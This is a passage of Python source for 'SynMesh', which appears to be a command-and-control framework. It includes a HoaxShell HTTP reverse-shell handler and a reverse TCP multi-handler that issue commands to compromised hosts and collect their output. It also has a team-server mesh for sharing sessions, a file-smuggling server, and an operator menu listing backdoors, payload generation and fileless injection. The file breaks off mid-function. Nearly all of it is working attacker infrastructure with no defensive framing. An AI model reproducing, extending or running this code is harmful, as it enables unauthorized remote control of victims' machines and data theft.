class Hoaxshell(BaseHTTPRequestHandler):
    """HTTP server for HoaxShell reverse shell handling"""
    
    server_name = 'HoaxShell Multi-Handler'
    header_id = hoax_settings.header
    server_unique_id = None
    command_pool: Dict[str, List] = {}
    active_shell: Optional[str] = None
    prompt_ready: bool = False
    hoax_prompt: str = ''
    
    @staticmethod
    def set_shell_prompt_ready():
        Hoaxshell.prompt_ready = True
    
    def do_GET(self):
        timestamp = int(time.time())
        session_id = self.headers.get(self.header_id)
        
        # Handle session verification
        if session_id and session_id in SessionManager.legit_session_ids:
            if session_id not in SessionManager.active_sessions:
                self._register_session(session_id, timestamp)
            else:
                SessionManager.active_sessions[session_id]['last_received'] = timestamp
        
        # Process request path
        path = self.path.strip('/')
        
        # Verify execution
        if session_id and self._is_verify_path(path, session_id):
            self._handle_verify(path, session_id)
            return
        
        # Get command
        if session_id and self._is_getcmd_path(path, session_id):
            self._handle_getcmd(session_id)
            return
        
        # Default response
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'')
    
    def do_POST(self):
        session_id = self.headers.get(self.header_id)
        
        if not session_id or session_id not in SessionManager.legit_session_ids:
            self.send_response(200)
            self.end_headers()
            return
        
        # Handle command output
        if self._is_postres_path(self.path.strip('/'), session_id):
            self._handle_post_output(session_id)
            return
        
        self.send_response(200)
        self.end_headers()
    
    def do_OPTIONS(self):
        """Handle CORS preflight"""
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Headers', self.header_id)
        self.end_headers()
    
    def log_message(self, format, *args):
        pass
    
    def _register_session(self, session_id: str, timestamp: int):
        """Register a new HoaxShell session"""
        components = session_id.split('-')
        if len(components) == 3:
            SessionManager.verify.append(components[0])
            SessionManager.get_cmd.append(components[1])
            SessionManager.post_res.append(components[2])
        
        SessionManager.active_sessions[session_id] = {
            'IP Address': self.client_address[0],
            'Port': self.client_address[1],
            'last_received': timestamp,
            'Status': 'Active',
            'OS Type': SessionManager.legit_session_ids[session_id].get('OS Type', 'Unknown'),
            'Owner': self.server_unique_id,
            'self_owned': True,
            'aliased': False,
            'alias': None,
            'Listener': 'hoaxshell',
            'Shell': SessionManager.legit_session_ids[session_id].get('Shell', 'unix'),
            'Stability': 'Unstable',
            'Computername': 'Unknown',
            'Username': 'Unknown',
            'execution_verified': False
        }
        Hoaxshell.command_pool[session_id] = []
        
        print(f"\r{Colors.GREEN}[Shell]{Colors.END} {session_id} - New session established -> "
              f"{Colors.ORANGE}{self.client_address[0]}{Colors.END} at {get_datetime()}")
    
    def _is_verify_path(self, path: str, session_id: str) -> bool:
        """Check if path is verification endpoint"""
        return (path in SessionManager.verify or 
                (session_id in SessionManager.active_sessions and 
                 not SessionManager.active_sessions[session_id].get('execution_verified', False)))
    
    def _handle_verify(self, path: str, session_id: str):
        """Handle verification request"""
        if session_id in SessionManager.active_sessions:
            SessionManager.active_sessions[session_id]['execution_verified'] = True
            
            # Parse hostname/username from path
            parts = path.split('/')
            if len(parts) >= 3:
                SessionManager.active_sessions[session_id]['Computername'] = parts[1]
                SessionManager.active_sessions[session_id]['Username'] = parts[2]
        
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'OK')
    
    def _is_getcmd_path(self, path: str, session_id: str) -> bool:
        """Check if path is get command endpoint"""
        return path in SessionManager.get_cmd
    
    def _handle_getcmd(self, session_id: str):
        """Handle get command request"""
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        
        if session_id in Hoaxshell.command_pool and Hoaxshell.command_pool[session_id]:
            cmd = Hoaxshell.command_pool[session_id].pop(0)
            if isinstance(cmd, dict):
                cmd = cmd.get('data', '')
            self.wfile.write(cmd.encode('utf-8'))
        else:
            self.wfile.write(b'None')
    
    def _is_postres_path(self, path: str, session_id: str) -> bool:
        """Check if path is post result endpoint"""
        return path in SessionManager.post_res
    
    def _handle_post_output(self, session_id: str):
        """Handle command output POST"""
        try:
            content_len = int(self.headers.get('Content-Length', 0))
            output = self.rfile.read(content_len)
            
            if output:
                try:
                    output_str = output.decode('utf-8', errors='ignore')
                    if output_str.strip():
                        print(f"\r{Colors.GREEN}{output_str.strip()}{Colors.END}")
                        print()
                    if Hoaxshell.active_shell == session_id:
                        Hoaxshell.set_shell_prompt_ready()
                    else:
                        main_prompt.ready = True
                except:
                    pass
            
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b'OK')
        except:
            pass

    @staticmethod
    def activate_shell(session_id: str):
        """Activate interactive shell for a session"""
        if session_id not in SessionManager.active_sessions:
            print(f"{Colors.RED}Session not found.{Colors.END}")
            return
        
        Hoaxshell.active_shell = session_id
        Hoaxshell.prompt_ready = True
        
        # Set prompt
        data = SessionManager.active_sessions[session_id]
        os_type = data.get('OS Type', 'Unknown')
        hostname = data.get('Computername', 'Unknown')
        username = data.get('Username', 'Unknown')
        
        if os_type == 'Windows':
            Hoaxshell.hoax_prompt = f"{hostname}\\{username}> "
        else:
            Hoaxshell.hoax_prompt = f"{username}@{hostname}: "
        
        print(f"\n{Colors.GREEN}Interactive shell activated.{Colors.END}")
        print(f"{Colors.DIM}Type 'exit' or press Ctrl+C to exit.{Colors.END}\n")
        
        # Start shell loop
        try:
            while Hoaxshell.active_shell == session_id:
                if Hoaxshell.prompt_ready:
                    user_input = input(Hoaxshell.hoax_prompt)
                    
                    if user_input.strip().lower() in ['exit', 'quit']:
                        break
                    
                    Hoaxshell.prompt_ready = False
                    Hoaxshell.command_pool[session_id].append({'data': user_input, 'issuer': 'self', 'quiet': False})
                
                time.sleep(0.1)
        except KeyboardInterrupt:
            pass
        finally:
            Hoaxshell.active_shell = None
            Hoaxshell.prompt_ready = False
            Hoaxshell.hoax_prompt = ''
            main_prompt.ready = True
            print()

# =============================================================================
# Core Server
# =============================================================================

class CoreServer:
    """Main server for sibling connections and session management"""
    
    server_name = 'Team Server'
    server_id = str(uuid4()).replace('-', '')
    hostname = socket.gethostname()
    listening = True
    sibling_servers: Dict[str, Dict] = {}
    acknowledged_servers: List[str] = []
    requests: Dict[str, bool] = {}
    
    CONNECT_SYN = b'\x4f\x86\x2f\x7b'
    CONNECT_ACK = b'\x5b\x2e\x42\x6d'
    CONNECT_DENY = b'\x3c\xc3\x86\xde'
    
    @classmethod
    def get_server_id(cls) -> str:
        return cls.server_id
    
    def start(self):
        """Start the core server"""
        try:
            server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            server_socket.bind((core_settings.bind_address, core_settings.bind_port))
            server_socket.listen()
            
            print(f"{Colors.ORANGE}{core_settings.bind_address}:{core_settings.bind_port}{Colors.END} :: {self.server_name}")
            
            while self.listening:
                conn, addr = server_socket.accept()
                threading.Thread(target=self._handle_connection, args=(conn, addr), daemon=True).start()
                
        except OSError:
            print(f"{Colors.RED}Failed to start {self.server_name}. Port {core_settings.bind_port} in use.{Colors.END}")
            sys.exit(1)
        except Exception as e:
            print(f"{Colors.RED}Failed to start {self.server_name}: {e}{Colors.END}")
            sys.exit(1)
    
    def _handle_connection(self, conn: socket.socket, addr: tuple):
        """Handle incoming connection"""
        try:
            raw_data = self._recv_msg(conn)
            if not raw_data:
                return
            
            # Connection request
            if raw_data == self.CONNECT_SYN:
                self._handle_connect_request(conn, addr)
                return
            
            # Data from sibling server
            if addr[0] in self.acknowledged_servers:
                self._handle_sibling_data(conn, addr, raw_data)
                return
            
            conn.close()
        except Exception:
            conn.close()
    
    def _recv_msg(self, sock: socket.socket) -> Optional[bytes]:
        """Receive message with length prefix"""
        try:
            raw_len = sock.recv(4)
            if not raw_len:
                return None
            msg_len = struct.unpack('>I', raw_len)[0]
            return self._recv_all(sock, msg_len)
        except:
            return None
    
    def _recv_all(self, sock: socket.socket, n: int) -> bytes:
        """Receive exactly n bytes"""
        data = bytearray()
        while len(data) < n:
            packet = sock.recv(n - len(data))
            if not packet:
                break
            data.extend(packet)
        return bytes(data)
    
    def _send_msg(self, sock: socket.socket, msg: bytes):
        """Send message with length prefix"""
        sock.sendall(struct.pack('>I', len(msg)) + msg)
    
    def _handle_connect_request(self, conn: socket.socket, addr: tuple):
        """Handle connection request from potential sibling"""
        if addr[0] in self.acknowledged_servers:
            self._send_msg(conn, self.CONNECT_DENY)
            conn.close()
            return
        
        request_id = ''.join(str(random.randint(0, 9)) for _ in range(4))
        self.requests[request_id] = False
        
        if core_settings.insecure:
            self.acknowledged_servers.append(addr[0])
            self._send_msg(conn, self.CONNECT_ACK)
            return
        
        print(f"\r{Colors.ORANGE}[!]{Colors.END} Connection request from {Colors.ORANGE}{addr[0]}{Colors.END}")
        print(f"{Colors.DIM}Type {Colors.CYAN}{request_id}{Colors.DIM} to accept (10 seconds){Colors.END}")
        
        start_time = time.time()
        while time.time() - start_time < 10:
            if self.requests.get(request_id, False):
                self.acknowledged_servers.append(addr[0])
                self._send_msg(conn, self.CONNECT_ACK)
                return
            time.sleep(0.1)
        
        self._send_msg(conn, self.CONNECT_DENY)
        conn.close()
        print(f"{Colors.YELLOW}Connection request from {addr[0]} denied.{Colors.END}")
    
    def _handle_sibling_data(self, conn: socket.socket, addr: tuple, raw_data: bytes):
        """Handle data from sibling server"""
        try:
            data = raw_data.decode('utf-8', errors='ignore')
            
            # Check if valid sibling ID
            if ':' in data:
                parts = data.split(':')
                if len(parts) >= 3 and is_valid_uuid(parts[0]):
                    sibling_id = parts[0]
                    port = int(parts[1])
                    hostname = parts[2]
                    
                    self.sibling_servers[sibling_id] = {
                        'Hostname': hostname,
                        'Server IP': addr[0],
                        'Server Port': port,
                        'Status': 'Active'
                    }
                    self.acknowledged_servers.remove(addr[0])
                    self._send_msg(conn, f"{self.server_id}:{self.hostname}".encode())
                    print(f"{Colors.GREEN}Connected to sibling: {hostname} ({addr[0]}){Colors.END}")
                    return
            
            # Try to decrypt and handle encapsulated message
            sibling_id = self._get_sibling_id(addr[0])
            if sibling_id:
                decrypted = self._decrypt_message(sibling_id, raw_data)
                if decrypted:
                    self._process_encapsulated(conn, sibling_id, decrypted)
                    return
            
            conn.close()
        except:
            conn.close()
    
    def _get_sibling_id(self, ip: str) -> Optional[str]:
        """Get sibling ID by IP"""
        for sid, data in self.sibling_servers.items():
            if data['Server IP'] == ip:
                return sid
        return None
    
    def _decrypt_message(self, sibling_id: str, data: bytes) -> Optional[str]:
        """Decrypt message from sibling"""
        try:
            return decrypt_msg(sibling_id.encode(), data, self.server_id[:16].encode())
        except:
            return None
    
    def _process_encapsulated(self, conn: socket.socket, sibling_id: str, data: str):
        """Process encapsulated message"""
        try:
            # Parse encapsulated data
            capsule_data = literal_eval(data)
            if not isinstance(capsule_data, dict):
                return
            
            capsule = list(capsule_data.keys())[0]
            payload = capsule_data[capsule]
            
            # Handle different capsule types
            if capsule == 'exec_command':
                self._handle_exec_command(conn, sibling_id, payload)
            elif capsule == 'command_output':
                self._handle_command_output(conn, sibling_id, payload)
            elif capsule == 'new_session':
                self._handle_new_session(conn, sibling_id, payload)
            elif capsule == 'session_terminated':
                self._handle_session_terminated(conn, sibling_id, payload)
            elif capsule == 'ping':
                self._send_msg(conn, self._encrypt_ack(sibling_id))
            else:
                # Generic response
                self._send_msg(conn, self._encrypt_ack(sibling_id))
        except:
            pass
    
    def _encrypt_ack(self, sibling_id: str) -> bytes:
        """Encrypt acknowledgment message"""
        ack = str({'ACKNOWLEDGED': {'status': 'ok'}})
        return encrypt_msg(self.server_id.encode(), ack, sibling_id[:16].encode())
    
    def _handle_exec_command(self, conn: socket.socket, sibling_id: str, payload: dict):
        """Handle command execution request from sibling"""
        session_id = payload.get('session_id')
        command = payload.get('command', '')
        
        if session_id in SessionManager.active_sessions:
            if session_id in Hoaxshell.command_pool:
                Hoaxshell.command_pool[session_id].append(command)
                self._send_msg(conn, self._encrypt_ack(sibling_id))
            else:
                self._send_msg(conn, self._encrypt_ack(sibling_id))
        else:
            self._send_msg(conn, self._encrypt_ack(sibling_id))
    
    def _handle_command_output(self, conn: socket.socket, sibling_id: str, payload: list):
        """Handle command output from sibling"""
        if payload and len(payload) >= 2:
            output = payload[0]
            session_id = payload[2] if len(payload) > 2 else None
            
            if output and output.strip():
                print(f"\r{Colors.GREEN}{output.strip()}{Colors.END}")
                print()
            
            # Restore prompt
            if Hoaxshell.active_shell:
                Hoaxshell.set_shell_prompt_ready()
            else:
                main_prompt.ready = True
        
        self._send_msg(conn, self._encrypt_ack(sibling_id))
    
    def _handle_new_session(self, conn: socket.socket, sibling_id: str, payload: dict):
        """Handle new session notification from sibling"""
        session_id = payload.get('session_id')
        if session_id:
            # Store session data
            data = payload.copy()
            data.pop('session_id', None)
            data['Owner'] = sibling_id
            data['self_owned'] = False
            
            if session_id not in SessionManager.active_sessions:
                SessionManager.active_sessions[session_id] = data
                print(f"{Colors.GREEN}[Shell]{Colors.END} {session_id} - New session from sibling "
                      f"{Colors.ORANGE}{self.sibling_servers.get(sibling_id, {}).get('Hostname', 'Unknown')}{Colors.END}")
        
        self._send_msg(conn, self._encrypt_ack(sibling_id))
    
    def _handle_session_terminated(self, conn: socket.socket, sibling_id: str, payload: dict):
        """Handle session termination notification from sibling"""
        session_id = payload.get('session_id')
        if session_id and session_id in SessionManager.active_sessions:
            SessionManager.active_sessions.pop(session_id, None)
            print(f"{Colors.YELLOW}Session {session_id} terminated by sibling.{Colors.END}")
            
            if Hoaxshell.active_shell == session_id:
                Hoaxshell.active_shell = None
                Hoaxshell.prompt_ready = False
                main_prompt.ready = True
        
        self._send_msg(conn, self._encrypt_ack(sibling_id))

# =============================================================================
# HTTP File Smuggler
# =============================================================================

class FileSmugglerHttpHandler(BaseHTTPRequestHandler):
    """HTTP handler for file smuggling"""
    
    def do_GET(self):
        ticket = self.path.strip('/')
        if ticket in FileSmuggler.file_transfer_tickets:
            data = FileSmuggler.file_transfer_tickets[ticket]['data']
            self.send_response(200)
            self.end_headers()
            self.wfile.write(data)
            FileSmuggler.file_transfer_tickets[ticket]['lifespan'] -= 1
            if FileSmuggler.file_transfer_tickets[ticket]['lifespan'] <= 0:
                del FileSmuggler.file_transfer_tickets[ticket]
        else:
            self.send_response(404)
            self.end_headers()
    
    def log_message(self, format, *args):
        pass

class FileSmuggler:
    """HTTP file smuggler service"""
    
    server_name = 'HTTP File Smuggler'
    file_transfer_tickets: Dict[str, Dict] = {}

# =============================================================================
# Main Application
# =============================================================================

class SynMesh:
    """Main SynMesh application with military-grade UI"""
    
    def __init__(self):
        self.running = True
        self.core = CoreServer()
        self.payload_gen = PayloadGenerator()
        self.sessions = SessionManager()
        self.start_time = datetime.now()
        self.interface = None
        self.ip = None
        
    def start(self):
        """Start the application with cinematic sequence"""
        # Clear screen
        os.system('clear' if os.name == 'posix' else 'cls')
        
        # Phase 1: Banner
        print_banner()
        time.sleep(0.5)
        
        # Phase 2: System Information
        print(f"{Colors.BOLD}{Colors.CYAN}System Information{Colors.END}")
        print(f"{Colors.GRAY}{'─' * 50}{Colors.END}")
        
        # OS Detection
        os_name = get_system_type()
        print_status_line('Operating System', os_name, 'info')
        
        # Python Version
        print_status_line('Python Version', sys.version.split()[0], 'info')
        
        # Terminal Size
        cols, rows = get_terminal_size()
        print_status_line('Terminal Size', f'{cols}x{rows}', 'info')
        
        # User
        try:
            user = os.getenv('USER') or os.getenv('USERNAME') or 'unknown'
            print_status_line('User', user, 'info')
        except:
            pass
        
        print()
        time.sleep(0.5)
        
        # Phase 3: Dependency Checks
        print(f"{Colors.BOLD}{Colors.CYAN}Dependency Verification{Colors.END}")
        print(f"{Colors.GRAY}{'─' * 50}{Colors.END}")
        
        deps = {
            'netifaces': 'Network Interface Detection',
            'Crypto': 'Encryption Support',
            'readline': 'Command Line Interface'
        }
        
        all_ok = True
        for dep, desc in deps.items():
            try:
                if dep == 'Crypto':
                    import Cryptodome
                elif dep == 'netifaces':
                    import netifaces
                else:
                    import readline
                print(f"  {Colors.GREEN}✓{Colors.END} {desc} {Colors.DIM}[OK]{Colors.END}")
            except ImportError:
                print(f"  {Colors.RED}✗{Colors.END} {desc} {Colors.DIM}[MISSING]{Colors.END}")
                all_ok = False
        
        if not all_ok:
            print(f"\n{Colors.RED}Missing dependencies. Install: pip install netifaces pycryptodome{Colors.END}")
            sys.exit(1)
        
        print()
        time.sleep(0.5)
        
        # Phase 4: Network Interface Detection
        print(f"{Colors.BOLD}{Colors.CYAN}Network Interface Detection{Colors.END}")
        print(f"{Colors.GRAY}{'─' * 50}{Colors.END}")
        
        self.interface, self.ip = self._select_interface()
        if not self.interface:
            print(f"{Colors.RED}No suitable network interface found.{Colors.END}")
            sys.exit(1)
        
        print_status_line('Selected Interface', f'{self.interface} ({self.ip})', 'success')
        print()
        time.sleep(0.5)
        
        # Phase 5: Service Initialization
        print(f"{Colors.BOLD}{Colors.CYAN}Service Initialization{Colors.END}")
        print(f"{Colors.GRAY}{'─' * 50}{Colors.END}")
        
        # Start Core Server
        print_loading_animation('Starting Core Server', 0.5)
        threading.Thread(target=self.core.start, daemon=True).start()
        
        # Start Hoaxshell
        print_loading_animation('Starting HoaxShell Handler', 0.5)
        self._start_hoaxshell()
        
        # Start Reverse TCP Handler
        print_loading_animation('Starting Reverse TCP Handler', 0.5)
        self._start_tcp_handler()
        
        # Start File Smuggler
        print_loading_animation('Starting HTTP File Smuggler', 0.5)
        self._start_file_smuggler()
        
        print()
        time.sleep(0.5)
        
        # Phase 6: Dashboard
        self._print_dashboard()
        
        # Main command loop
        self._command_loop()
    
    def _select_interface(self) -> Tuple[Optional[str], Optional[str]]:
        """Select network interface with automatic detection"""
        # Try auto-detection first
        interface = NetworkInterfaceManager.get_preferred_interface()
        if interface:
            ip = NetworkInterfaceManager.get_interface_ip(interface)
            if ip:
                print_status_line('Auto-detected', f'{interface} ({ip})', 'success')
                return interface, ip
        
        # Interactive selection
        return NetworkInterfaceManager.list_interactive()
    
    def _start_hoaxshell(self):
        """Start Hoaxshell server"""
        port = hoax_settings.bind_port_ssl if hoax_settings.ssl_support else hoax_settings.bind_port
        
        try:
            httpd = HTTPServer((hoax_settings.bind_address, port), Hoaxshell)
            Hoaxshell.server_unique_id = self.core.server_id
            
            if hoax_settings.ssl_support and hoax_settings.certfile and hoax_settings.keyfile:
                context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
                context.load_cert_chain(hoax_settings.certfile, hoax_settings.keyfile)
                httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
            
            threading.Thread(target=httpd.serve_forever, daemon=True).start()
            print(f"  {Colors.GREEN}✓{Colors.END} HoaxShell Multi-Handler {Colors.DIM}[{hoax_settings.bind_address}:{port}]{Colors.END}")
        except Exception as e:
            print(f"  {Colors.RED}✗{Colors.END} HoaxShell Multi-Handler {Colors.DIM}[{e}]{Colors.END}")
    
    def _start_tcp_handler(self):
        """Start reverse TCP handler"""
        try:
            tcp_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            tcp_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            tcp_server.bind((tcp_settings.bind_address, tcp_settings.bind_port))
            tcp_server.listen()
            
            def handle_tcp():
                while True:
                    try:
                        conn, addr = tcp_server.accept()
                        threading.Thread(target=self._handle_tcp_session, args=(conn, addr), daemon=True).start()
                    except:
                        break
            
            threading.Thread(target=handle_tcp, daemon=True).start()
            print(f"  {Colors.GREEN}✓{Colors.END} Reverse TCP Multi-Handler {Colors.DIM}[{tcp_settings.bind_address}:{tcp_settings.bind_port}]{Colors.END}")
        except Exception as e:
            print(f"  {Colors.RED}✗{Colors.END} Reverse TCP Multi-Handler {Colors.DIM}[{e}]{Colors.END}")
    
    def _start_file_smuggler(self):
        """Start file smuggler"""
        try:
            httpd = HTTPServer((file_settings.bind_address, file_settings.bind_port), FileSmugglerHttpHandler)
            threading.Thread(target=httpd.serve_forever, daemon=True).start()
            print(f"  {Colors.GREEN}✓{Colors.END} HTTP File Smuggler {Colors.DIM}[{file_settings.bind_address}:{file_settings.bind_port}]{Colors.END}")
        except Exception as e:
            print(f"  {Colors.RED}✗{Colors.END} HTTP File Smuggler {Colors.DIM}[{e}]{Colors.END}")
    
    def _print_dashboard(self):
        """Print the main dashboard"""
        cols, _ = get_terminal_size()
        cols = min(cols, 120)
        
        print(f"{Colors.BOLD}{Colors.CYAN}{'═' * cols}{Colors.END}")
        print(f"{Colors.BOLD}{Colors.CYAN}{' ' * ((cols - 22) // 2)}SYNMESH COMMAND CENTER{Colors.END}")
        print(f"{Colors.BOLD}{Colors.CYAN}{'═' * cols}{Colors.END}")
        
        # Status row
        uptime = str(datetime.now() - self.start_time).split('.')[0]
        status_color = Colors.GREEN if self.running else Colors.RED
        status_text = f"{status_color}● ONLINE{Colors.END}"
        
        print(f"\n{Colors.BOLD}Status:{Colors.END} {status_text}  "
              f"{Colors.BOLD}Uptime:{Colors.END} {uptime}  "
              f"{Colors.BOLD}Sessions:{Colors.END} {len(SessionManager.active_sessions)}  "
              f"{Colors.BOLD}Interface:{Colors.END} {self.interface} ({self.ip})")
        
        # Quick stats
        siblings = len(CoreServer.sibling_servers)
        active = sum(1 for s in SessionManager.active_sessions.values() if s.get('Status') == 'Active')
        pending = sum(1 for s in SessionManager.active_sessions.values() if s.get('Status') == 'Pending')
        
        print(f"\n{Colors.BOLD}Quick Stats:{Colors.END}  "
              f"{Colors.GREEN}Active: {active}{Colors.END}  "
              f"{Colors.YELLOW}Pending: {pending}{Colors.END}  "
              f"{Colors.BLUE}Siblings: {siblings}{Colors.END}  "
              f"{Colors.ORANGE}Total: {len(SessionManager.active_sessions)}{Colors.END}")
        
        print(f"\n{Colors.BOLD}{Colors.CYAN}{'─' * cols}{Colors.END}")
        
        # Menu
        print(f"{Colors.BOLD}Main Menu:{Colors.END}")
        menu_items = [
            ('1', 'Sessions', 'List active sessions'),
            ('2', 'Backdoors', 'List backdoor types'),
            ('3', 'Generate', 'Generate payloads'),
            ('4', 'Connect', 'Connect to sibling'),
            ('5', 'Shell', 'Open interactive shell'),
            ('6', 'Alias', 'Set session alias'),
            ('7', 'Kill', 'Terminate session'),
            ('8', 'Upload', 'Upload files'),
            ('9', 'Inject', 'Fileless execution'),
            ('0', 'Help', 'Command reference'),
            ('q', 'Exit', 'Quit SynMesh')
        ]
        
        # Display menu in columns
        col_count = 2
        rows = (len(menu_items) + col_count - 1) // col_count
        for i in range(rows):
            line = ""
            for j in range(col_count):
                idx = i + j * rows
                if idx < len(menu_items):
                    num, name, desc = menu_items[idx]
                    line += f"  [{Colors.GREEN}{num}{Colors.END}] {Colors.BOLD}{name}{Colors.END} {Colors.DIM}{desc}{Colors.DIM}  "
            print(line)
        
        print(f"\n{Colors.BOLD}{Colors.CYAN}{'─' * cols}{Colors.END}")
        print(f"{Colors.DIM}[Ctrl+C] Exit  [Tab] Autocomplete  [Up/Down] History{Colors.END}")
        print()
    
    def _handle_tcp_session(self, conn: socket.socket, addr: tuple):
        """Handle TCP reverse shell session"""
        session_id = f"{uuid4().hex[:6]}-{uuid4().hex[:6]}-{uuid4().hex[:6]}"
        Hoaxshell.command_pool[session_id] = []
        
        try:
            # Get initial response
            conn.settimeout(3)
            data = conn.recv(4096).decode('utf-8', errors='ignore')
            
            # Send whoami
            conn.send(b'whoami\n')
            time.sleep(0.5)
            user_data = conn.recv(4096).decode('utf-8', errors='ignore')
            
            # Determine OS
            if 'Microsoft' in data or 'Windows' in data or 'PS ' in user_data:
                os_type = 'Windows'
                shell = 'powershell.exe'
                if 'cmd.exe' in data.lower() or 'C:\\' in data:
                    shell = 'cmd.exe'
            else:
                os_type = 'Linux'
                shell = 'unix'
                if '$' in data or '#' in data:
                    shell = 'unix'
            
            # Parse username
            username = 'Unknown'
            if '\\' in user_data:
                parts = user_data.strip().split('\\')
                if len(parts) >= 2:
                    username = parts[-1].strip()
            elif '@' in user_data:
                username = user_data.strip().split('@')[0]
            
            # Create session
            SessionManager.active_sessions[session_id] = {
                'IP Address': addr[0],
                'Port': addr[1],
                'Status': 'Active',
                'OS Type': os_type,
                'Owner': self.core.server_id,
                'self_owned': True,
                'aliased': False,
                'alias': None,
                'Listener': 'reverse tcp',
                'Shell': shell,
                'Stability': 'Stable',
                'Computername': addr[0],
                'Username': username,
                'last_issued_cmd': ''
            }
            
            print(f"\r{Colors.GREEN}[Shell]{Colors.END} {session_id} - New session established -> "
                  f"{Colors.ORANGE}{addr[0]}{Colors.END} at {get_datetime()}")
            
            # Keep session alive
            while session_id in SessionManager.active_sessions:
                # Check for commands
                if session_id in Hoaxshell.command_pool and Hoaxshell.command_pool[session_id]:
                    cmd = Hoaxshell.command_pool[session_id].pop(0)
                    if isinstance(cmd, dict):
                        cmd = cmd.get('data', '')
                    
                    conn.send(f"{cmd}\n".encode())
                    time.sleep(0.3)
                    
                    # Receive output
                    output = b''
                    conn.settimeout(2)
                    while True:
                        try:
                            chunk = conn.recv(4096)
                            if chunk:
                                output += chunk
                            else:
                                break
                        except socket.timeout:
                            break
                    
                    if output:
                        try:
                            output_str = output.decode('utf-8', errors='ignore')
                            if output_str.strip():
                                print(f"\r{Colors.GREEN}{output_str.strip()}{Colors.END}")
                                print()
                        except:
                            pass
                    
                    if Hoaxshell.active_shell == session_id:
                        Hoaxshell.set_shell_prompt_ready()
                    else:
                        main_prompt.ready = True
                
                time.sleep(0.1)
        
        except Exception as e:
            print(f"{Colors.YELLOW}TCP session {session_id} ended: {e}{Colors.END}")
        finally:
            conn.close()
            SessionManager.active_sessions.pop(session_id, None)
    
    def _command_loop(self):
        """Main command loop"""
        while self.running:
            try:
                if main_prompt.ready:
                    user_input = input(main_prompt.prompt)
                    
                    if not user_input.strip():
                        continue
                    
                    # Parse command
                    parts = user_input.split()
                    cmd = parts[0].lower()
                    args = parts[1:] if len(parts) > 1 else []
                    
                    # Handle commands
                    if cmd == 'help':
                        if args:
                            CommandHelp.print_help(args[0])
                        else:
                            CommandHelp.print_help()
                    
                    elif cmd == 'sessions':
                        SessionManager.list_sessions()
                    
                    elif cmd == 'backdoors':
                        SessionManager.list_backdoors()
                    
                    elif cmd == 'siblings':
                        if CoreServer.sibling_servers:
                            rows = []
                            for sid, data in CoreServer.sibling_servers.items():
                                rows.append({
                                    'Sibling ID': sid[:8] + '...',
                                    'Server IP': data.get('Server IP', 'Unknown'),
                                    'Hostname': data.get('Hostname', 'Unknown'),
                                    'Status': data.get('Status', 'Unknown')
                                })
                            print_table(rows, ['Sibling ID', 'Server IP', 'Hostname', 'Status'], 'Connected Siblings')
                        else:
                            print(f"{Colors.ORANGE}No sibling servers connected.{Colors.END}")
                    
                    elif cmd == 'connect':
                        if len(args) >= 2:
                            self._connect_sibling(args[0], args[1])
                        else:
                            print(f"{Colors.RED}Usage: connect <IP> <PORT>{Colors.END}")
                    
                    elif cmd == 'generate':
                        if args:
                            self.payload_gen.generate_payload(args)
                        else:
                            print(f"{Colors.RED}Usage: generate payload=<TEMPLATE> lhost=<INTERFACE>{Colors.END}")
                    
                    elif cmd == 'shell':
                        if args:
                            session_id = SessionManager.get_session_id(args[0])
                            if session_id:
                                Hoaxshell.activate_shell(session_id)
                            else:
                                print(f"{Colors.RED}Session not found.{Colors.END}")
                        else:
                            print(f"{Colors.RED}Usage: shell <SESSION_ID or ALIAS>{Colors.END}")
                    
                    elif cmd == 'alias':
                        if len(args) >= 2:
                            alias, session_id = args[0], args[1]
                            sid = SessionManager.get_session_id(session_id)
                            if sid and session_id in SessionManager.active_sessions:
                                if alias not in [d.get('alias') for d in SessionManager.active_sessions.values() if d.get('aliased')]:
                                    SessionManager.active_sessions[sid]['alias'] = alias
                                    SessionManager.active_sessions[sid]['aliased'] = True
                                    print(f"{Colors.GREEN}Alias set: {alias} -> {sid}{Colors.END}")
                                else:
                                    print(f"{Colors.RED}Alias already in use.{Colors.END}")
                            else:
                                print(f"{Colors.RED}Session not found.{Colors.END}")
                        else:
                            print(f"{Colors.RED}Usage: alias <ALIAS> <SESSION_ID>{Colors.END}")
                    
                    elif cmd == 'kill':
                        if args:
                            session_id = SessionManager.get_session_id(args[0])
                            if session_id:
                                SessionManager.kill_session(session_id)
                            else:
                                print(f"{Colors.RED}Session not found.{Colors.END}")
                        else:
                            print(f"{Colors.RED}Usage: kill <SESSION_ID or ALIAS>{Colors.END}")
                    
                    elif cmd == 'clear':
                        os.system('clear' if os.name == 'posix' else 'cls')
                        self._print_dashboard()
                    
                    elif cmd == 'exit':
                        self._exit()
                    
                    elif cmd == 'flee':
                        self._flee()
                    
                    elif cmd == 'upload':
                        self._handle_upload(args)
                    
                    elif cmd == 'inject':
                        self._handle_inject(args)
                    
                    else:
                        print(f"{Colors.RED}Unknown command: {cmd}{Colors.END}")
                        print(f"{Colors.DIM}Type 'help' for available commands.{Colors.END}")
            
            except KeyboardInterrupt:
                self._exit()
            except Exception as e:
                print(f"{Colors.RED}Error: {e}{Colors.END}")
    
    def _connect_sibling(self, ip: str, port: str):
        """Connect to sibling server"""
        try:
            port = int(port)
            if not is_valid_ip(ip):
                print(f"{Colors.RED}Invalid IP address.{Colors.END}")
                return
            
            # Check if already connected
            for sid, data in CoreServer.sibling_servers.items():
                if data['Server IP'] == ip and data['Server Port'] == port:
                    print(f"{Colors.YELLOW}Already connected to {ip}:{port}{Colors.END}")
                    return
            
            # Send connection request
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(10)
            sock.connect((ip, port))
            
            # Send SYN
            sock.sendall(struct.pack('>I', len(CoreServer.CONNECT_SYN)) + CoreServer.CONNECT_SYN)
            response = self.core._recv_msg(sock)
            
            if response == CoreServer.CONNECT_ACK:
                # Send identity
